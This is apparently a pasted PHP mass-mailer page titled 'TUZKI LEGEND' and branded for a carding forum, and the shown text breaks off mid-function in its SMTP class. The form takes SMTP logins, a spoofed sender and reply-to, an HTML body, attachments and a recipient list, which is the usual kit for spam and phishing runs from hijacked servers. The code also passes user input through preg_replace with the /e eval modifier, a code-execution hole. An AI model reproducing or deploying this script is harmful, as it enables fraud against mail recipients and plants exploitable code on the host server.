· 7 years ago · Mar 02, 2019, 01:20 AM
1<?
2// @~ TUZKI LEGEND
3error_reporting(0);
4function query_str($params){
5$str = '';
6foreach ($params as $key => $value) {
7$str .= (strlen($str) < 1) ? '' : '&';
8$str .= $key . '=' . rawurlencode($value);
9}
10return ($str);
11}
12function lrtrim($string){
13return stripslashes(ltrim(rtrim($string)));
14}
15if(isset($_POST['action'] ) ){
16
17$b = query_str($_POST);
18parse_str($b);
19$sslclick=lrtrim($sslclick);
20$action=lrtrim($action);
21$message=lrtrim($message);
22$emaillist=lrtrim($emaillist);
23$from=lrtrim($from);
24$reconnect=lrtrim($reconnect);
25$epriority=lrtrim($epriority);
26$my_smtp=lrtrim($my_smtp);
27$ssl_port=lrtrim($ssl_port);
28$smtp_username=lrtrim($smtp_username);
29$smtp_password=lrtrim($smtp_password);
30$replyto=lrtrim($replyto);
31$subject_base=lrtrim($subject);
32$realname_base=lrtrim($realname);
33$file_name=$_FILES['file']['name'];
34$file=$_FILES['file']['tmp_name'];
35$urlz=lrtrim($urlz);
36$contenttype=lrtrim($contenttype);
37$encode_text=$_POST['encode'];
38
39
40 $message = urlencode($message);
41 $message = ereg_replace("%5C%22", "%22", $message);
42 $message = urldecode($message);
43 $message = stripslashes($message);
44 $subject = stripslashes($subject);
45 if ($encode_text == "yes") {
46 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
47 $subject = str_replace(' ', '_', $subject);
48 $subject = "=?UTF-8?Q?$subject?=";
49 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
50 $realname = str_replace(' ', '_', $realname);
51 $realname = "=?UTF-8?Q?$realname?=";
52 }
53}
54?>
55
56<html>
57
58<head>
59
60<title>TUZKI LEGEND</title>
61
62<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
63
64<script src='http://static.tumblr.com/qo0gonz/JsJn0gihy/jquery-1.6.2.js'></script>
65
66<style type="text/css">
67<!--
68.style1 {
69 font-family: Geneva, Arial, Helvetica, sans-serif;
70 font-size: 12px;
71}
72body{
73margin:0px;
74}
75.bgup {
76background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
77}
78
79.cadre {
80background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
81}
82
83.uibutton {
84 position: relative;
85 z-index: 1;
86 overflow: visible;
87 display: inline-block;
88 padding: 0.3em 0.6em 0.375em;
89 border: 1px solid #01A9DB;
90 border-bottom-color: #01A9DB;
91
92 margin: 0;
93 text-decoration: none;
94 text-align: center;
95 font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
96 white-space: nowrap;
97 cursor: pointer;
98 /* outline: none; */
99 color: #f9f9f9;
100 background-color: #eee;
101 background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
102 background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
103 background-image: -o-linear-gradient(#01A9DB, #01A9DB);
104 background-image: linear-gradient(#01A9DB, #01A9DB);
105
106 /* IE hacks */
107
108 *display: inline;
109
110}
111
112.uibutton:hover,
113.uibutton:focus,
114.uibutton:active {
115 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
116}
117
118.uibutton:active {
119 border-color: #01A9DB;
120 background: #01A9DB;
121 filter: none;
122 -webkit-box-shadow: none;
123 -moz-box-shadow: none;
124 box-shadow: none;
125}
126
127/* overrides extra padding on button elements in Firefox */
128.uibutton::-moz-focus-inner {
129 padding: 0;
130 border: 0;
131}
132
133
134
135-->
136</style>
137<style type="text/css">
138<!--
139.style1 {
140 font-size: 10px;
141 font-family: Geneva, Arial, Helvetica, sans-serif;
142}
143-->
144</style>
145</head>
146<body bgcolor="#f9f9f9" class="bgup">
147<div class="cadre" style="height:10px;margin:0px auto;"></div>
148<div style="width:80%;margin:0 auto;">
149<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font><br>
150<font size="5" face="Bauhaus 93">Www.CardingForum.iN</font></p>
151<form name="form1" method="post" action="" enctype="multipart/form-data">
152
153 <br>
154
155 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
156
157 <tr>
158
159 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
160
161 <b>
162
163 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
164
165 </tr>
166 <tr >
167
168 <td width="10%" height="22" style="padding:10px;">
169
170 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
171
172 </td>
173
174 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
175
176 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
177
178 </font></td>
179
180 <td width="31%" height="22" style="padding:10px;">
181
182 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
183
184 </td>
185
186 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
187
188 <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
189
190 </font></td>
191
192 </tr>
193 <tr>
194
195 <td width="10%" height="22" style="padding:10px;">
196
197 <div align="right">
198 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
199
200 </td>
201
202 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
203
204 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
205 (optional)</font></td>
206
207 <td width="31%" height="22" style="padding:10px;">
208
209 <div align="right">
210 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
211 Smtp:</font></div>
212
213 </td>
214
215 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
216
217 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
218
219 </font></td>
220
221 </tr>
222 <tr>
223
224 <td width="10%" height="22" style="padding:10px;">
225
226 <p align="right">
227 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
228
229 <td width="18%" height="22" style="padding:10px;">
230 <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
231
232 <td width="31%" height="22" style="padding:10px;">
233
234 <p align="right">
235 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
236 After:</font></td>
237
238 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
239
240 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
241 EMAILS</font></td>
242
243 </tr>
244 <tr>
245
246 <td width="100%" height="39" colspan="4" style="padding:10px;">
247
248 <p align="center">
249 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
250 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
251
252 </tr>
253
254 <tr>
255
256 <td width="10%" height="19" style="padding:10px;">
257
258 </td>
259
260 <td width="18%" height="19" style="padding:10px;"> </td>
261
262 <td width="31%" height="19" style="padding:10px;">
263
264 </td>
265
266 <td width="41%" height="19" style="padding:10px;"> </td>
267
268 </tr>
269
270 <tr>
271
272 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
273
274 <b>
275
276 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
277
278 </tr>
279 <tr>
280
281 <td width="10%" height="22" style="padding:10px;">
282 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
283 </td>
284
285 <td width="59%" height="22" style="padding:10px;" colSpan="3">
286 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
287
288<input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
289
290 </font></td>
291
292 </tr>
293 <tr>
294
295 <td width="10%" height="22" style="padding:10px;">
296
297 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
298
299 Email:</font></div>
300
301 </td>
302
303 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
304
305 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
306
307 </font></td>
308
309 <td width="31%" height="22" style="padding:10px;">
310
311 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
312
313 Name:</font></div>
314
315 </td>
316
317 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
318
319 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
320
321 </font></td>
322
323 </tr>
324 <tr>
325
326 <td width="10%" height="22" style="padding:10px;">
327
328 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
329
330 </td>
331
332 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
333
334 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
335
336 </font></td>
337
338 <td width="31%" height="22" style="padding:10px;">
339
340 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
341 Email Priority:</font></td>
342
343 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
344
345 </font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
346 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
347 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
348 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
349 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
350 </select></td>
351
352 </tr>
353
354 <tr>
355
356 <td width="10%" height="22" style="padding:10px;">
357
358 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
359
360 </td>
361
362 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
363
364 <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
365
366 </font></td>
367
368 </tr>
369
370 <tr>
371
372 <td width="10%" height="22" style="padding:10px;">
373
374 </td>
375
376 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
377
378 <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
379 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
380 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
381 </select></font></td>
382
383 </tr>
384
385 <tr valign="top">
386
387<td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
388
389 <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
390
391 <br>
392
393 <input type="radio" name="contenttype" value="plain" >
394
395 Plain
396
397 <input type="radio" name="contenttype" value="html" checked>
398
399 HTML
400
401 <input type="hidden" name="action" value="send">
402 <input class="uibutton" type="submit" value="Send Message">
403
404 </font></td>
405
406 <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
407
408 <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
409
410 </font></td>
411
412 </tr>
413
414 </table>
415
416</form>
417
418
419
420<?
421
422if ($action){
423 if (!$from && !$subject && !$message && !$emaillist){
424 print "<script>alert('Please complete all fields before sending your message.'); </script>";
425 die(); }
426
427class SMTP
428{
429 /**
430 * SMTP server port
431 * @var int
432 */
433 var $SMTP_PORT = 25;
434
435 /**
436 * SMTP reply line ending
437 * @var string
438 */
439 var $CRLF = "\r\n";
440
441 /**
442 * Sets whether debugging is turned on
443 * @var bool
444 */
445 var $do_debug; # the level of debug to perform
446
447 /**
448 * Sets VERP use on/off (default is off)
449 * @var bool
450 */
451 var $do_verp = false;
452
453 /**#@+
454 * @access private
455 */
456 var $smtp_conn; # the socket to the server
457 var $error; # error if any on the last call
458 var $helo_rply; # the reply the server sent to us for HELO
459 /**#@-*/
460
461 /**
462 * Initialize the class so that the data is in a known state.
463 * @access public
464 * @return void
465 */
466 function SMTP() {
467 $this->smtp_conn = 0;
468 $this->error = null;
469 $this->helo_rply = null;
470
471 $this->do_debug = 0;
472 }
473
474 /*************************************************************
475 * CONNECTION FUNCTIONS *
476 ***********************************************************/
477
478 /**
479 * Connect to the server specified on the port specified.
480 * If the port is not specified use the default SMTP_PORT.
481 * If tval is specified then a connection will try and be
482 * established with the server for that number of seconds.
483 * If tval is not specified the default is 30 seconds to
484 * try on the connection.
485 *
486 * SMTP CODE SUCCESS: 220
487 * SMTP CODE FAILURE: 421
488 * @access public
489 * @return bool
490 */
491 function Connect($host,$port=0,$tval=30) {
492 # set the error val to null so there is no confusion
493 $this->error = null;
494
495 # make sure we are __not__ connected
496 if($this->connected()) {
497 # ok we are connected! what should we do?
498 # for now we will just give an error saying we
499 # are already connected
500 $this->error = array("error" => "Already connected to a server");
501 return false;
502 }
503
504 if(empty($port)) {
505 $port = $this->SMTP_PORT;
506 }
507
508 #connect to the smtp server
509 $this->smtp_conn = fsockopen($host, # the host of the server
510 $port, # the port to use
511 $errno, # error number if any
512 $errstr, # error message if any
513 $tval); # give up after ? secs
514 # verify we connected properly
515 if(empty($this->smtp_conn)) {
516 $this->error = array("error" => "Failed to connect to server",
517 "errno" => $errno,
518 "errstr" => $errstr);
519 if($this->do_debug >= 1) {
520 echo "SMTP -> ERROR: " . $this->error["error"] .
521 ": $errstr ($errno)" . $this->CRLF;
522 }
523 return false;
524 }
525
526 # sometimes the SMTP server takes a little longer to respond
527 # so we will give it a longer timeout for the first read
528 // Windows still does not have support for this timeout function
529 if(substr(PHP_OS, 0, 3) != "WIN")
530 socket_set_timeout($this->smtp_conn, $tval, 0);
531
532 # get any announcement stuff
533 $announce = $this->get_lines();
534
535 # set the timeout of any socket functions at 1/10 of a second
536 //if(function_exists("socket_set_timeout"))
537 // socket_set_timeout($this->smtp_conn, 0, 100000);
538
539 if($this->do_debug >= 2) {
540 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
541 }
542
543 return true;
544 }
545
546 /**
547 * Performs SMTP authentication. Must be run after running the
548 * Hello() method. Returns true if successfully authenticated.
549 * @access public
550 * @return bool
551 */
552 function Authenticate($username, $password) {
553 // Start authentication
554 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
555
556 $rply = $this->get_lines();
557 $code = substr($rply,0,3);
558
559 if($code != 334) {
560 $this->error =
561 array("error" => "AUTH not accepted from server",
562 "smtp_code" => $code,
563 "smtp_msg" => substr($rply,4));
564 if($this->do_debug >= 1) {
565 echo "SMTP -> ERROR: " . $this->error["error"] .
566 ": " . $rply . $this->CRLF;
567 }
568 return false;
569 }
570
571 // Send encoded username
572 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
573
574 $rply = $this->get_lines();
575 $code = substr($rply,0,3);
576
577 if($code != 334) {
578 $this->error =
579 array("error" => "Username not accepted from server",
580 "smtp_code" => $code,
581 "smtp_msg" => substr($rply,4));
582 if($this->do_debug >= 1) {
583 echo "SMTP -> ERROR: " . $this->error["error"] .
584 ": " . $rply . $this->CRLF;
585 }
586 return false;
587 }
588
589 // Send encoded password
590 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
591
592 $rply = $this->get_lines();
593 $code = substr($rply,0,3);
594
595 if($code != 235) {
596 $this->error =
597 array("error" => "Password not accepted from server",
598 "smtp_code" => $code,
599 "smtp_msg" => substr($rply,4));
600 if($this->do_debug >= 1) {
601 echo "SMTP -> ERROR: " . $this->error["error"] .
602 ": " . $rply . $this->CRLF;
603 }
604 return false;
605 }
606
607 return true;
608 }
609
610 /**
611 * Returns true if connected to a server otherwise false
612 * @access private
613 * @return bool
614 */
615 function Connected() {
616 if(!empty($this->smtp_conn)) {
617 $sock_status = socket_get_status($this->smtp_conn);
618 if($sock_status["eof"]) {
619 # hmm this is an odd situation... the socket is
620 # valid but we are not connected anymore
621 if($this->do_debug >= 1) {
622 echo "SMTP -> NOTICE:" . $this->CRLF .
623 "EOF caught while checking if connected";
624 }
625 $this->Close();
626 return false;
627 }
628 return true; # everything looks good
629 }
630 return false;
631 }
632
633 /**
634 * Closes the socket and cleans up the state of the class.
635 * It is not considered good to use this function without
636 * first trying to use QUIT.
637 * @access public
638 * @return void
639 */
640 function Close() {
641 $this->error = null; # so there is no confusion
642 $this->helo_rply = null;
643 if(!empty($this->smtp_conn)) {
644 # close the connection and cleanup
645 fclose($this->smtp_conn);
646 $this->smtp_conn = 0;
647 }
648 }
649
650 /***************************************************************
651 * SMTP COMMANDS *
652 *************************************************************/
653
654 /**
655 * Issues a data command and sends the msg_data to the server
656 * finializing the mail transaction. $msg_data is the message
657 * that is to be send with the headers. Each header needs to be
658 * on a single line followed by a <CRLF> with the message headers
659 * and the message body being seperated by and additional <CRLF>.
660 *
661 * Implements rfc 821: DATA <CRLF>
662 *
663 * SMTP CODE INTERMEDIATE: 354
664 * [data]
665 * <CRLF>.<CRLF>
666 * SMTP CODE SUCCESS: 250
667 * SMTP CODE FAILURE: 552,554,451,452
668 * SMTP CODE FAILURE: 451,554
669 * SMTP CODE ERROR : 500,501,503,421
670 * @access public
671 * @return bool
672 */
673 function Data($msg_data) {
674 $this->error = null; # so no confusion is caused
675
676 if(!$this->connected()) {
677 $this->error = array(
678 "error" => "Called Data() without being connected");
679 return false;
680 }
681
682 fputs($this->smtp_conn,"DATA" . $this->CRLF);
683
684 $rply = $this->get_lines();
685 $code = substr($rply,0,3);
686
687 if($this->do_debug >= 2) {
688 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
689 }
690
691 if($code != 354) {
692 $this->error =
693 array("error" => "DATA command not accepted from server",
694 "smtp_code" => $code,
695 "smtp_msg" => substr($rply,4));
696 if($this->do_debug >= 1) {
697 echo "SMTP -> ERROR: " . $this->error["error"] .
698 ": " . $rply . $this->CRLF;
699 }
700 return false;
701 }
702
703 # the server is ready to accept data!
704 # according to rfc 821 we should not send more than 1000
705 # including the CRLF
706 # characters on a single line so we will break the data up
707 # into lines by \r and/or \n then if needed we will break
708 # each of those into smaller lines to fit within the limit.
709 # in addition we will be looking for lines that start with
710 # a period '.' and append and additional period '.' to that
711 # line. NOTE: this does not count towards are limit.
712
713 # normalize the line breaks so we know the explode works
714 $msg_data = str_replace("\r\n","\n",$msg_data);
715 $msg_data = str_replace("\r","\n",$msg_data);
716 $lines = explode("\n",$msg_data);
717
718 # we need to find a good way to determine is headers are
719 # in the msg_data or if it is a straight msg body
720 # currently I am assuming rfc 822 definitions of msg headers
721 # and if the first field of the first line (':' sperated)
722 # does not contain a space then it _should_ be a header
723 # and we can process all lines before a blank "" line as
724 # headers.
725 $field = substr($lines[0],0,strpos($lines[0],":"));
726 $in_headers = false;
727 if(!empty($field) && !strstr($field," ")) {
728 $in_headers = true;
729 }
730
731 $max_line_length = 998; # used below; set here for ease in change
732
733 while(list(,$line) = @each($lines)) {
734 $lines_out = null;
735 if($line == "" && $in_headers) {
736 $in_headers = false;
737 }
738 # ok we need to break this line up into several
739 # smaller lines
740 while(strlen($line) > $max_line_length) {
741 $pos = strrpos(substr($line,0,$max_line_length)," ");
742
743 # Patch to fix DOS attack
744 if(!$pos) {
745 $pos = $max_line_length - 1;
746 }
747
748 $lines_out[] = substr($line,0,$pos);
749 $line = substr($line,$pos + 1);
750 # if we are processing headers we need to
751 # add a LWSP-char to the front of the new line
752 # rfc 822 on long msg headers
753 if($in_headers) {
754 $line = "\t" . $line;
755 }
756 }
757 $lines_out[] = $line;
758
759 # now send the lines to the server
760 while(list(,$line_out) = @each($lines_out)) {
761 if(strlen($line_out) > 0)
762 {
763 if(substr($line_out, 0, 1) == ".") {
764 $line_out = "." . $line_out;
765 }
766 }
767 fputs($this->smtp_conn,$line_out . $this->CRLF);
768 }
769 }
770
771 # ok all the message data has been sent so lets get this
772 # over with aleady
773 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
774
775 $rply = $this->get_lines();
776 $code = substr($rply,0,3);
777
778 if($this->do_debug >= 2) {
779 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
780 }
781
782 if($code != 250) {
783 $this->error =
784 array("error" => "DATA not accepted from server",
785 "smtp_code" => $code,
786 "smtp_msg" => substr($rply,4));
787 if($this->do_debug >= 1) {
788 echo "SMTP -> ERROR: " . $this->error["error"] .
789 ": " . $rply . $this->CRLF;
790 }
791 return false;
792 }
793 return true;
794 }
795
796 /**
797 * Expand takes the name and asks the server to list all the
798 * people who are members of the _list_. Expand will return
799 * back and array of the result or false if an error occurs.
800 * Each value in the array returned has the format of:
801 * [ <full-name> <sp> ] <path>
802 * The definition of <path> is defined in rfc 821
803 *
804 * Implements rfc 821: EXPN <SP> <string> <CRLF>
805 *
806 * SMTP CODE SUCCESS: 250
807 * SMTP CODE FAILURE: 550
808 * SMTP CODE ERROR : 500,501,502,504,421
809 * @access public
810 * @return string array
811 */
812 function Expand($name) {
813 $this->error = null; # so no confusion is caused
814
815 if(!$this->connected()) {
816 $this->error = array(
817 "error" => "Called Expand() without being connected");
818 return false;
819 }
820
821 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
822
823 $rply = $this->get_lines();
824 $code = substr($rply,0,3);
825
826 if($this->do_debug >= 2) {
827 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
828 }
829
830 if($code != 250) {
831 $this->error =
832 array("error" => "EXPN not accepted from server",
833 "smtp_code" => $code,
834 "smtp_msg" => substr($rply,4));
835 if($this->do_debug >= 1) {
836 echo "SMTP -> ERROR: " . $this->error["error"] .
837 ": " . $rply . $this->CRLF;
838 }
839 return false;
840 }
841
842 # parse the reply and place in our array to return to user
843 $entries = explode($this->CRLF,$rply);
844 while(list(,$l) = @each($entries)) {
845 $list[] = substr($l,4);
846 }
847
848 return $list;
849 }
850
851 /**
852 * Sends the HELO command to the smtp server.
853 * This makes sure that we and the server are in
854 * the same known state.
855 *
856 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
857 *
858 * SMTP CODE SUCCESS: 250
859 * SMTP CODE ERROR : 500, 501, 504, 421
860 * @access public
861 * @return bool
862 */
863 function Hello($host="") {
864 $this->error = null; # so no confusion is caused
865
866 if(!$this->connected()) {
867 $this->error = array(
868 "error" => "Called Hello() without being connected");
869 return false;
870 }
871
872 # if a hostname for the HELO was not specified determine
873 # a suitable one to send
874 if(empty($host)) {
875 # we need to determine some sort of appopiate default
876 # to send to the server
877 $host = "localhost";
878 }
879
880 // Send extended hello first (RFC 2821)
881 if(!$this->SendHello("EHLO", $host))
882 {
883 if(!$this->SendHello("HELO", $host))
884 return false;
885 }
886
887 return true;
888 }
889
890 /**
891 * Sends a HELO/EHLO command.
892 * @access private
893 * @return bool
894 */
895 function SendHello($hello, $host) {
896 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
897
898 $rply = $this->get_lines();
899 $code = substr($rply,0,3);
900
901 if($this->do_debug >= 2) {
902 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
903 }
904
905 if($code != 250) {
906 $this->error =
907 array("error" => $hello . " not accepted from server",
908 "smtp_code" => $code,
